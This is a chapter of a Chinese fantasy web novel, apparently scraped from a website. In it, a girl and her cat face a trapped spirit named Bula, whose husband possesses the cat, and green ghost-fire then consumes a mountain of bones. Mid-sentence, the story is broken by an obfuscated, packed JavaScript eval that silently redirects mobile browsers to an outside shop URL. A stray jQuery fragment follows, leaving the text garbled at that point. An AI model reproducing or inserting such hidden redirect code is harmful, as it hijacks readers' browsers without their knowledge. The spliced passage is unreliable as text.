“呵……”
飘在树间的布拉手指撩动着宽大的菩提树叶,摆明了不信夏别枝的话。
“是真的。”
夏别枝转向墨团,墨团仰头看着天空,雾气只剩薄薄一层,一丝丝一缕缕将鲜艳的蓝色天空妆点成了浓郁又柔美的模样。
可没有树。
夏别枝现在也看不见了,她仰起头看向天空,视野里总会和隐隐出现一颗巨树,但仔细看又消失不见了。
“不会是幻觉。”
墨团头昂得久了,就想打哈欠,打了哈欠就觉得困困的,想要趴到夏别枝的膝盖上再睡一觉。
但现在明显夏别枝没有这样的空闲能够一直坐着不动。
夏别枝收回看向天空的视线,转向昏昏欲睡的墨团,心中迅速燃起怒火:“你也不相信我吗?”
墨团咂咂嘴,挠了挠耳朵:“相信什么?”
夏别枝心想不妙,莫不是火种有问题,怎么墨团好像变傻了。
火种方才在母牛的躯体中消失,布拉灵魂出窍时就掉在了草地上,当时他们都太过震惊,忘了把火种回收,现在要在满是杂草的地上找一颗其貌不扬的小石子可不容易。
同时还得提防那个满嘴谎言的布拉。
夏别枝用脚尖踢了踢墨团的爪子,想用眼神示意它去找火种,但又担心以墨团现在的神智怕是理解不了自己眼神传递的信息。
果然,被踢的墨团直接翻身倒在了地上,用地上的小石子蹭着后背。
完全变成了一只猫咪,下一刻就要开始啃爪子了。
在树枝上依着的布拉看了都夸道:“你们俩还真是半点也不紧张,不过也是,我的孩子都死光了,你们也不用担心成为饵食了。”
夏别枝站到墨团身前,借着裙摆的遮挡轻轻踢着墨团,让它清醒点尽快去找火种。
即便火种可能对她们有害,但同样也有好处,能提升力量,更要紧的是不可以被布拉拿到。
虽然看起来布拉好像并不在意。
但是谁知道实际是如何呢,她们要掌握主动权才行。
夏别枝随便找了个话题跟布拉攀谈,吸引她的注意力:“你的孩子都死了,你不难过吗?”
布拉笑意浓郁的脸像是被冰块冻结住了,笑得很痛苦。
夏别枝没想到自己随意一句话会有这么大的杀伤力,让布拉连理都不理她了。
而墨团却用尾巴缠上了她的脚踝,就和平时求梳毛的时候一样。
看来踢是踢不醒了,夏别枝蹲下身把墨团捞起来抱在怀里。
这样其实很冒险,因为布拉很容易就会注意到墨团的举动,但也别无他法了。
夏别枝让墨团趴在自己肩膀上,自己则直视着布拉,尽量不张嘴极小声说:“墨团,火种,别睡了!”
墨团的三角耳动了动,应该是听见了。
同时布拉的声音响起:“你不问我怎样才能出去了吗?”
夏别枝缓了缓,转换成正常的嗓音道:“你谎话连篇,有什么好问的呢?”
布拉知道的比她们多得多,却依然透露给他们这多消息,甚至到现在还在引诱她,也只能说明布拉还想骗他们。
要应付一个骗子,就得堵住耳朵,不听骗子说了什么,只看什么对自己有利。
“可这里只有我了,除了我,你们还能求助于谁呢?”
墨团终于动了,伸出舌头舔了舔夏别枝的耳朵,应该是听明白了她刚刚的话。
那她就要给墨团创造机会。
夏别枝微微侧身,挡住墨团的大半身体,同时思考着布拉的这句话。
这里只有她了,所以只能求助于她……
“因为我觉得你根本不知道出去的办法,不然你早就出去了,不是吗?”
布拉毫无波澜,激将法对她没有任何作用,她的下半身死死缠在菩提树上,上身探出,像一条蛇一样盯着她的猎物:“那你准备怎么办呢?小女孩。”
“我……”
夏别枝刚想回答,墨团的身体瞬间变成了一块火炭,灼烧的痛感和人天生对火焰恐惧让她不假思索就把墨团抛了出去。
墨团在空中翻滚了一圈,四脚稳稳落地,身形没有像之前那样变大,但全身黑毛全部竖起,如金针一般。
看起来和方才吃掉她肚子里的火种完全不一样,可究竟是火种的原因,还是墨团吃了别的东西呢?
布拉看起来也很困惑,毕竟在她的视角里,墨团一直趴在夏别枝的肩膀上,什么也没干。
夏别枝靠近墨团,想搞清楚它到底怎么了,墨团却发出了奇怪的声音。
乍一听,就像一个中年男子。
“布拉,你还在这里?”
这个声音让布拉彻底失控了,上半身支得笔直,眼眸中恨海滔天。
“是你!”
夏别枝也急了,问道:“是谁?”
布拉眼中的恨意化作血红的液滴,顺着脸庞流到了上翘的嘴角。
“自然是把我困在这里的仇人,也是我的丈夫,真是好久不见啊。”
“丈夫?”
墨团怎么可能会变成布拉的丈夫,除非只有一种可能,是夏别枝在书上看过的一种妖术——附身。
布拉的丈夫的魂灵附身在了墨团的身上?
夏别枝看着墨团,心中忐忑不安,谁知道这个布拉的丈夫会不会霸占墨团的身体不走了呢?
“没错,也是我的孩子的父亲。”
布拉的下半张脸饱含着久别重逢的笑意,与眼睛里的恨意完全割裂开来。
反观墨团,因着是只猫的模样,看不出任何情绪。
“那都是很久以前的事了,你为何还是念念不忘?”
“你问我,哈哈,你问我?你把我的孩子关了起来,你居然有脸来问一个母亲为什么念念不忘?”
布拉大笑着喘息了几声,恨意和思念全部又被隐藏了起来。
“如今你来,是害怕我离开去找你的麻烦,想把我一直关在这里吧。”
墨团身上的中年人道:“我只是把他们关在这里,而你却害死了他们,你没有资格做一个母亲,现在你也不能再离开这里了,这是惩罚,很公平。”
布拉回身缠绕在菩提树干上,仿佛菩提树才是她可以依靠的丈夫。
“你是我怕我出去了找你报仇,耽误你和其他人恩爱吧。不会的,你放心,我一定躲得远远的,决不会再去找你。”
夏别枝感觉布拉此刻说的是真话,但又害怕是自己看错了。
选择谎言的人在选择的那一刻起就失去了所有人的信任。
果然那个中年男子也没有理会。
布拉却说:“那你把这个女子和猫留下陪我吧,我不想一个人寂寞。”
“凭什么!我们是无辜的。”
夏别枝双手合十,对着“墨团”鞠躬:“您让我们出去吧,我们是好人。”
“墨团”凑近夏别枝,像之前那样蹭了蹭夏别枝的脚踝。
却让布拉笑了起来:“你果然无法拒绝任何一个美貌的女子,真是恶心啊。那些女子被你强娶的时候,你能体会她们有多恶心吗?就像现在,小女孩你知不知道附身在这只猫身上的是多么肮脏的东西,等见了他的本体,你说不定会立刻吐出来哦。”
夏别枝被这番话感染,正想后退,但“墨团”的眼睛里又流露出几分委屈和恳求来,让她动弹不得。
可当“墨团”转头看向布拉时,又变回了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647842|206029||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
漠然的状态。
布拉躲在树后,探出脑袋:“怎么,你都要关我一辈子了,还不许我说几句实话吗?”
“墨团”走到菩提树前,抬起前爪在树根处拍了拍,菩提树便如飞絮般一点点碎裂,随风飘散。
缠在树上的布拉也只能落到地上,和“墨团”面对面。
“真狠心啊,不是说这棵树是你的分身,代替你陪着我和孩子吗?”
布拉看向远方,飞絮越飘越远,而飞絮所沾染之处,都燃起了碧绿色的火焰。
让人看了只觉得全身发寒。
夏别枝也是,因为她知道,这种颜色的火只在坟地附近出现,民间百姓称为“鬼火”。
“墨团”直立起来,加上毛发,几乎和布拉一样高:“该结束了,虽然你一开始是心甘情愿留下,可随着岁月流逝,你的爱全部变成了恨,也让你变成了怪物。你注定会留在这里,和你的孩子们。”
布拉转向另一边,用背影对着“墨团”,声音凄凉又怨毒:“那我就在这里诅咒你,迟早有一日会落得和我一样的下场。”
火焰沿着山间的绿植一路扩张向上,甚至连沙土都能燃烧。
夏别枝一开始还呆呆地看着,看到这一幕才意识到危险。
但现在“墨团”的身体里是一个陌生人,她得自己想法子。
对了,火种。
夏别枝回身在草丛里翻找,但越着急就越找不到。
而火势蔓延极快,眨眼间就已经漫到了平台上,没过了布拉的脚踝,之后她的全身也立刻被火焰吞没,一点点消失。
但是在最后她都没有回头,再看她曾经的丈夫一眼。
夏别枝只能后退,往高处去,不过同时她也发现,那绿色的火焰将地上的杂草都烧得一干二净,倒是让她看见了火种落在了何处。
可现在看见了也没有用,这不是一般的火,要火中取栗需要的可不止是勇气。
但“墨团”没事,它四肢着地,迈着优雅的步伐,走到火种边,叼起火种后又跳到了夏别枝身边,献宝似的将火种展示给夏别枝看。
应该是要给她的意思……
但“墨团”一直叼着火种,并没有要放进她手心的意思,在夏别枝周身绕了一圈后,再次回到夏别枝的面前,直起身,将嘴里的火种渡入了夏别枝的嘴里。
“唔……”
夏别枝想起布拉的话,现在的“墨团”是一个狠心囚禁妻子和儿子的花心男子,只觉得喉头紧缩,一阵阵反胃。
这样强烈的反应“墨团”自然也感觉得到,不过他既没有生气,也没有将火种要回来,反而咧着嘴,伸出舌头舔了舔鼻子。
若是一只猫这么做,任谁看了都只会觉得可爱,但这种情况下,只会让夏别枝更恶心了……
但火种的确是有用的,绿色的火焰越过夏别枝席卷而上,将整座山头都包裹了起来。
片刻之后,山石就如同皮肉般化开,露出了其中的骨骼。
是真的骨骼。
两个黑洞洞的眼睛,一张满是牙的嘴那样的骨骼。
整座山都是由这样的骨骼搭建而成的。
“唔……”
上边的景象同样恶心,夏别枝只能别过头,不想余光中“墨团”却消失了。
她连忙回头寻找,才发现“墨团”没有离开,只是倒在了地上,双眼紧闭在火焰中陷入了沉睡。
夏别枝犹豫着要不要将“墨团”抱起来。
之所以会犹豫,是因为她不确定倒下的究竟是不是只是墨团,附身在它身体里的那个人究竟走了没有。
不过夏别枝也没有机会作出选择了,因为山塌了。
夏别枝脚下一空,坠入了无尽的深渊之中。